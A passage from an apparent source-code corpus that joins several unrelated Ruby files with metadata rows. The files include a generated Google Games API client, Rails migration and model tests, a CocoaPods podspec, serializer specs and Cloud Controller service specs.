# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_turn_based_match(match_id, include_match_data: nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'turnbasedmatches/{matchId}', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['includeMatchData'] = include_match_data unless include_match_data.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Join a turn-based match.
# @param [String] match_id
# The ID of the match.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def join_turn_based_match(match_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/join', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Leave a turn-based match when it is not the current player's turn, without
# canceling the match.
# @param [String] match_id
# The ID of the match.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def leave_turn_based_match(match_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/leave', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Leave a turn-based match during the current player's turn, without canceling
# the match.
# @param [String] match_id
# The ID of the match.
# @param [Fixnum] match_version
# The version of the match being updated.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] pending_participant_id
# The ID of another participant who should take their turn next. If not set, the
# match will wait for other player(s) to join via automatching; this is only
# valid if automatch criteria is set on the match with remaining slots for
# automatched players.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def leave_turn(match_id, match_version, language: nil, pending_participant_id: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/leaveTurn', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['matchVersion'] = match_version unless match_version.nil?
command.query['pendingParticipantId'] = pending_participant_id unless pending_participant_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Returns turn-based matches the player is or was involved in.
# @param [Boolean] include_match_data
# True if match data should be returned in the response. Note that not all data
# will necessarily be returned if include_match_data is true; the server may
# decide to only return data for some of the matches to limit download size for
# the client. The remainder of the data for these matches will be retrievable on
# request.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_completed_matches
# The maximum number of completed or canceled matches to return in the response.
# If not set, all matches returned could be completed or canceled.
# @param [Fixnum] max_results
# The maximum number of matches to return in the response, used for paging. For
# any response, the actual number of matches to return may be less than the
# specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatchList] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatchList]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_turn_based_matches(include_match_data: nil, language: nil, max_completed_matches: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'turnbasedmatches', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatchList::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatchList
command.query['includeMatchData'] = include_match_data unless include_match_data.nil?
command.query['language'] = language unless language.nil?
command.query['maxCompletedMatches'] = max_completed_matches unless max_completed_matches.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Create a rematch of a match that was previously completed, with the same
# participants. This can be called by only one player on a match still in their
# list; the player must have called Finish first. Returns the newly created
# match; it will be the caller's turn.
# @param [String] match_id
# The ID of the match.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] request_id
# A randomly generated numeric ID for each request specified by the caller. This
# number is used at the server to ensure that the request is handled correctly
# across retries.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatchRematch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatchRematch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def rematch_turn_based_match(match_id, language: nil, request_id: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'turnbasedmatches/{matchId}/rematch', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatchRematch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatchRematch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['requestId'] = request_id unless request_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Returns turn-based matches the player is or was involved in that changed since
# the last sync call, with the least recent changes coming first. Matches that
# should be removed from the local cache will have a status of MATCH_DELETED.
# @param [Boolean] include_match_data
# True if match data should be returned in the response. Note that not all data
# will necessarily be returned if include_match_data is true; the server may
# decide to only return data for some of the matches to limit download size for
# the client. The remainder of the data for these matches will be retrievable on
# request.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_completed_matches
# The maximum number of completed or canceled matches to return in the response.
# If not set, all matches returned could be completed or canceled.
# @param [Fixnum] max_results
# The maximum number of matches to return in the response, used for paging. For
# any response, the actual number of matches to return may be less than the
# specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatchSync] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatchSync]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def sync_turn_based_match(include_match_data: nil, language: nil, max_completed_matches: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'turnbasedmatches/sync', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatchSync::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatchSync
command.query['includeMatchData'] = include_match_data unless include_match_data.nil?
command.query['language'] = language unless language.nil?
command.query['maxCompletedMatches'] = max_completed_matches unless max_completed_matches.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Commit the results of a player turn.
# @param [String] match_id
# The ID of the match.
# @param [Google::Apis::GamesV1::TurnBasedMatchTurn] turn_based_match_turn_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def take_turn(match_id, turn_based_match_turn_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/turn', options)
command.request_representation = Google::Apis::GamesV1::TurnBasedMatchTurn::Representation
command.request_object = turn_based_match_turn_object
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
protected
def apply_command_defaults(command)
command.query['key'] = key unless key.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
end
end
end
end
end
| 61.221204 | 231 | 0.667999 |
3842d1b65e1ad780a5e8af069f1cf0ef28b5e140 | 2,807 | # frozen_string_literal: true
require "cases/helper"
module ActiveRecord
class Migration
class PGChangeSchemaTest < ActiveRecord::PostgreSQLTestCase
attr_reader :connection
def setup
super
@connection = ActiveRecord::Base.connection
connection.create_table(:strings) do |t|
t.string :somedate
end
end
def teardown
connection.drop_table :strings
end
def test_change_string_to_date
connection.change_column :strings, :somedate, :timestamp, using: 'CAST("somedate" AS timestamp)'
assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
def test_change_type_with_symbol
connection.change_column :strings, :somedate, :timestamp, cast_as: :timestamp
assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
def test_change_type_with_symbol_with_timestamptz
connection.change_column :strings, :somedate, :timestamptz, cast_as: :timestamptz
assert_equal :timestamptz, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
def test_change_type_with_symbol_using_datetime
connection.change_column :strings, :somedate, :datetime, cast_as: :datetime
assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
def test_change_type_with_symbol_using_timestamp_with_timestamptz_as_default
with_postgresql_datetime_type(:timestamptz) do
connection.change_column :strings, :somedate, :timestamp, cast_as: :timestamp
assert_equal :timestamp, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
end
def test_change_type_with_symbol_with_timestamptz_as_default
with_postgresql_datetime_type(:timestamptz) do
connection.change_column :strings, :somedate, :timestamptz, cast_as: :timestamptz
assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
end
def test_change_type_with_symbol_using_datetime_with_timestamptz_as_default
with_postgresql_datetime_type(:timestamptz) do
connection.change_column :strings, :somedate, :datetime, cast_as: :datetime
assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
end
end
def test_change_type_with_array
connection.change_column :strings, :somedate, :timestamp, array: true, cast_as: :timestamp
column = connection.columns(:strings).find { |c| c.name == "somedate" }
assert_equal :datetime, column.type
assert_predicate column, :array?
end
end
end
end
| 38.986111 | 104 | 0.695404 |
38029837993c65c7e255a58ce2e37494bc9c52ed | 5,204 | #
# Be sure to run `pod spec lint caculatormaker.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "caculatormaker"
s.version = "0.0.1"
s.summary = "private pod for learning."
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
Calculator is learning project for private pod.
DESC
s.homepage = "https://www.baidu.com/"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
s.license = { :type => 'MIT', :file => 'LICENSE' }
# s.license = { :type => "MIT", :file => "FILE_LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = { "zhangjiangyi" => "[email protected]" }
# Or just: s.author = "zhangjiangyi"
# s.authors = { "zhangjiangyi" => "[email protected]" }
# s.social_media_url = "http://twitter.com/zhangjiangyi"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
# s.platform = :ios
# s.platform = :ios, "5.0"
# When using multiple platforms
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "https://github.com/windfanstry/caculatorMaker.git", :tag => "#{s.version}" }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
s.source_files = "Classes", "Classes/**/*.{h,m}", "caculator/**/*.{h,m}"
s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
# s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "JSONKit", "~> 1.4"
end
| 37.438849 | 106 | 0.591084 |
0183a1e05353d993663d9fecec144716613c1f6e | 1,137 | # frozen_string_literal: true
require "spec_helper"
class SoftDeleteTest < ActiveSupport::TestCase
ActiveRecord::Base.connection.create_table(:walking_deads, force: true) do |t|
t.string :name
t.string :tag
t.datetime :deleted_at
t.timestamps null: false
end
class WalkingDead < ApplicationRecord
include SoftDelete
after_destroy do
self.tag = "after_destroy #{name}"
end
before_validation :check_name_not_exist
def check_name_not_exist
if WalkingDead.unscoped.where(name: self.name).count > 0
errors.add("name", "已经存在")
end
end
end
test "should work" do
rick = WalkingDead.create!(name: "Rick Grimes")
assert_changes -> { WalkingDead.count }, -1 do
rick.destroy
end
assert_equal "after_destroy Rick Grimes", rick.tag
rick.reload
assert_equal true, rick.deleted_at.present?
rick.deleted?
assert_no_changes -> { WalkingDead.unscoped.count } do
rick.destroy
end
assert_equal 0, WalkingDead.where(name: rick.name).count
assert_equal rick, WalkingDead.unscoped.where(name: rick.name).first
end
end
| 24.191489 | 80 | 0.699208 |
ffccf1cbec81f53d19902ddc7edb5bb7f793d221 | 77 | $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'AuthAyo'
| 25.666667 | 58 | 0.727273 |
ac487bcf7bed579be8a96ad01d30116e311e14da | 214 | Instagram.configure do |config|
config.client_id = ENV.fetch 'IG_CLIENT_ID'
config.client_secret = ENV.fetch 'IG_CLIENT_SECRET'
# For secured endpoints only
config.client_ips = ENV.fetch 'IG_CLIENT_IP'
end
| 30.571429 | 53 | 0.775701 |
5da33d2e2e7d043be3f9850832c37875d008a7cb | 51 | module FluentdRegexpTester
VERSION = "0.1.4"
end
| 12.75 | 26 | 0.745098 |
e9d7e62878493b4195d414a81967256e9d998d01 | 1,695 | # frozen_string_literal: true
require 'spec_helper'
describe FastJsonapi::ObjectSerializer do
include_context 'movie class'
context 'when testing object serializer with ruby struct' do
it 'returns correct hash when serializable_hash is called' do
options = {}
options[:meta] = { total: 2 }
options[:links] = { self: 'self' }
options[:include] = [:actors]
serializable_hash = MovieSerializer.new([movie_struct, movie_struct], options).serializable_hash
expect(serializable_hash[:data].length).to eq 2
expect(serializable_hash[:data][0][:relationships].length).to eq 4
expect(serializable_hash[:data][0][:attributes].length).to eq 2
expect(serializable_hash[:meta]).to be_instance_of(Hash)
expect(serializable_hash[:links]).to be_instance_of(Hash)
expect(serializable_hash[:included]).to be_instance_of(Array)
expect(serializable_hash[:included][0]).to be_instance_of(Hash)
expect(serializable_hash[:included].length).to eq 3
serializable_hash = MovieSerializer.new(movie_struct).serializable_hash
expect(serializable_hash[:data]).to be_instance_of(Hash)
expect(serializable_hash[:meta]).to be nil
expect(serializable_hash[:links]).to be nil
expect(serializable_hash[:included]).to be nil
expect(serializable_hash[:data][:id]).to eq movie_struct.id.to_s
end
context 'struct without id' do
it 'returns correct hash when serializable_hash is called' do
serializer = MovieWithoutIdStructSerializer.new(movie_struct_without_id)
expect { serializer.serializable_hash }.to raise_error(FastJsonapi::MandatoryField)
end
end
end
end
| 38.522727 | 102 | 0.725074 |
1a7ac733faa55028bf94ebc27cbcd5c5279d2458 | 7,298 | require "spec_helper"
module VCAP::CloudController
describe Service, type: :model do
it_behaves_like "a CloudController model", {
:required_attributes => [:label, :description, :bindable],
:required_attribute_error_message => {
:label => 'name is required'
},
:unique_attributes => [ [:label, :provider] ],
:stripped_string_attributes => [:label, :provider],
:one_to_zero_or_more => {
:service_plans => {
:delete_ok => true,
:create_for => lambda { |_| ServicePlan.make }
}
}
}
describe "validation" do
context 'when the unique_id is not unique' do
let(:existing_service) { Service.make }
let(:service) { Service.make_unsaved(unique_id: existing_service.unique_id) }
it 'is not valid' do
expect(service).not_to be_valid
end
it 'raises an error on save' do
expect { service.save }.
to raise_error(Sequel::ValidationFailed, "service id '#{service.unique_id}' is taken")
end
end
end
describe "#destroy" do
let!(:service) { Service.make }
subject { service.destroy(savepoint: true) }
it "doesn't remove the associated ServiceAuthToken" do
# XXX services don't always have a token, unlike what the fixture implies
expect {
subject
}.to_not change {
ServiceAuthToken.count(:label => service.label, :provider => service.provider)
}
end
end
describe "serialization" do
let(:extra) { 'extra' }
let(:unique_id) { 'glue-factory' }
let(:service) { Service.new_from_hash(extra: extra, unique_id: unique_id, bindable: true) }
it "allows mass assignment of extra" do
service.extra.should == extra
end
it "allows export of extra" do
Yajl::Parser.parse(service.to_json)["extra"].should == extra
end
it "allows mass assignment of unique_id" do
service.unique_id.should == unique_id
end
it "allows export of unique_id" do
Yajl::Parser.parse(service.to_json)["unique_id"].should == unique_id
end
it "allows export of bindable" do
Yajl::Parser.parse(service.to_json)["bindable"].should == true
end
end
describe "#user_visibility_filter" do
let(:private_service) { Service.make }
let(:public_service) { Service.make }
let(:nonadmin_org) { Organization.make }
let(:admin_user) { User.make(:admin => true, :active => true) }
let(:nonadmin_user) { User.make(:admin => false, :active => true) }
let!(:private_plan) { ServicePlan.make :service => private_service, :public => false }
before do
ServicePlan.make :service => public_service, :public => true
ServicePlan.make :service => public_service, :public => false
VCAP::CloudController::SecurityContext.set(admin_user, {'scope' => [VCAP::CloudController::Roles::CLOUD_CONTROLLER_ADMIN_SCOPE]} )
nonadmin_user.add_organization nonadmin_org
VCAP::CloudController::SecurityContext.clear
end
def records(user)
Service.user_visible(user, user.admin?).all
end
it "returns all services for admins" do
records(admin_user).should include(private_service, public_service)
end
it "only returns public services for nonadmins" do
records(nonadmin_user).should include(public_service)
records(nonadmin_user).should_not include(private_service)
end
it "returns private services if a user can see a plan inside them" do
ServicePlanVisibility.create(
organization: nonadmin_org,
service_plan: private_plan,
)
records(nonadmin_user).should include(private_service, public_service)
end
end
describe "#tags" do
context 'null tags in the database' do
it 'returns an empty array' do
service = Service.make(tags: nil)
expect(service.tags).to eq []
end
end
end
describe "#requires" do
context 'null requires in the database' do
it 'returns an empty array' do
service = Service.make(requires: nil)
expect(service.requires).to eq []
end
end
end
describe "#documentation_url" do
context 'with a URL in the database' do
it 'returns the appropriate URL' do
sham_url = Sham.url
service = Service.make(documentation_url: sham_url)
expect(service.documentation_url).to eq sham_url
end
end
end
describe "#long_description" do
context 'with a long description in the database' do
it 'return the appropriate long description' do
sham_long_description = Sham.long_description
service = Service.make(long_description: sham_long_description)
expect(service.long_description).to eq sham_long_description
end
end
end
describe "#v2?" do
it "returns true when the service is associated with a broker" do
service = Service.make(service_broker: ServiceBroker.make)
service.should be_v2
end
it "returns false when the service is not associated with a broker" do
service = Service.make(service_broker: nil)
service.should_not be_v2
end
end
describe '.organization_visible' do
it 'returns plans that are visible to the organization' do
hidden_private_plan = ServicePlan.make(public: false)
hidden_private_service = hidden_private_plan.service
visible_public_plan = ServicePlan.make(public: true)
visible_public_service = visible_public_plan.service
visible_private_plan = ServicePlan.make(public: false)
visible_private_service = visible_private_plan.service
organization = Organization.make
ServicePlanVisibility.make(organization: organization, service_plan: visible_private_plan)
visible = Service.organization_visible(organization).all
visible.should include(visible_public_service)
visible.should include(visible_private_service)
visible.should_not include(hidden_private_service)
end
end
describe '#client' do
context 'for a v1 service' do
let(:service) { Service.make(service_broker: nil) }
it 'returns a v1 broker client' do
v1_client = double(ServiceBroker::V1::Client)
ServiceBroker::V1::Client.stub(:new).and_return(v1_client)
client = service.client
client.should == v1_client
expect(ServiceBroker::V1::Client).to have_received(:new).with(
hash_including(
url: service.url,
auth_token: service.service_auth_token.token,
timeout: service.timeout
)
)
end
end
context 'for a v2 service' do
let(:service) { Service.make(service_broker: ServiceBroker.make) }
it 'returns a v2 broker client' do
v2_client = double(ServiceBroker::V2::Client)
service.service_broker.stub(:client).and_return(v2_client)
client = service.client
client.should == v2_client
end
end
end
end
end
| 33.631336 | 138 | 0.64182 |
b9ab54a2968d388e187635370237477f1bba1b4d | 1,417 | # frozen_string_literal: true
class EditsForInvoicingAndJournalingRefacting < ActiveRecord::Migration[4.2]
def self.up
# update the account_transaction table
remove_foreign_key :account_transactions, name: :fk_int_at_fa
remove_column :account_transactions, :facility_account_id
add_column :account_transactions, :statement_id, :integer, null: true
# remove statement_accounts as account_transactions now have a link back to the statement
# add an invoice_date to statements
drop_table :statement_accounts
execute "DELETE FROM statements"
add_column :statements, :invoice_date, :datetime, null: false
# track individual journal rows
drop_table :journaled_accounts
create_table :journal_rows do |t|
t.integer :journal_id, null: false
t.integer :order_detail_id, null: false
t.integer :account, null: false
t.integer :fund, null: false
t.integer :dept, null: false
t.integer :project, null: false
t.integer :activity, null: true
t.integer :program, null: true
t.decimal :amount, null: false, precision: 9, scale: 2
t.string :description, null: true, limit: 200
t.string :reference, null: true, limit: 50
end
end
def self.down
raise ActiveRecord::IrreversibleMigration
end
end
| 36.333333 | 93 | 0.669019 |
e983b47fff7db8452bf68737e68ffef8a525b913 | 45 | class TagPolicy < DirectiveAdmin::Policy
end
| 15 | 40 | 0.822222 |
031327029e0aad3649d6c0cab02226b55ca3cdcf | 134 | class ArtifactPartsAddIndexOnArtifactId < ActiveRecord::Migration
def change
add_index :artifact_parts, :artifact_id
end
end
| 19.142857 | 65 | 0.80597 |
38f8b50ac223c6496959ca22d684c51211370ccf | 358 | require "hbc/version"
describe Hbc::CLI::Doctor do
it "displays some nice info about the environment" do
expect {
Hbc::CLI::Doctor.run
}.to output(/\A==> macOS Release:/).to_stdout
end
it "raises an exception when arguments are given" do
expect {
Hbc::CLI::Doctor.run("argument")
}.to raise_error(ArgumentError)
end
end
| 22.375 | 55 | 0.667598 |
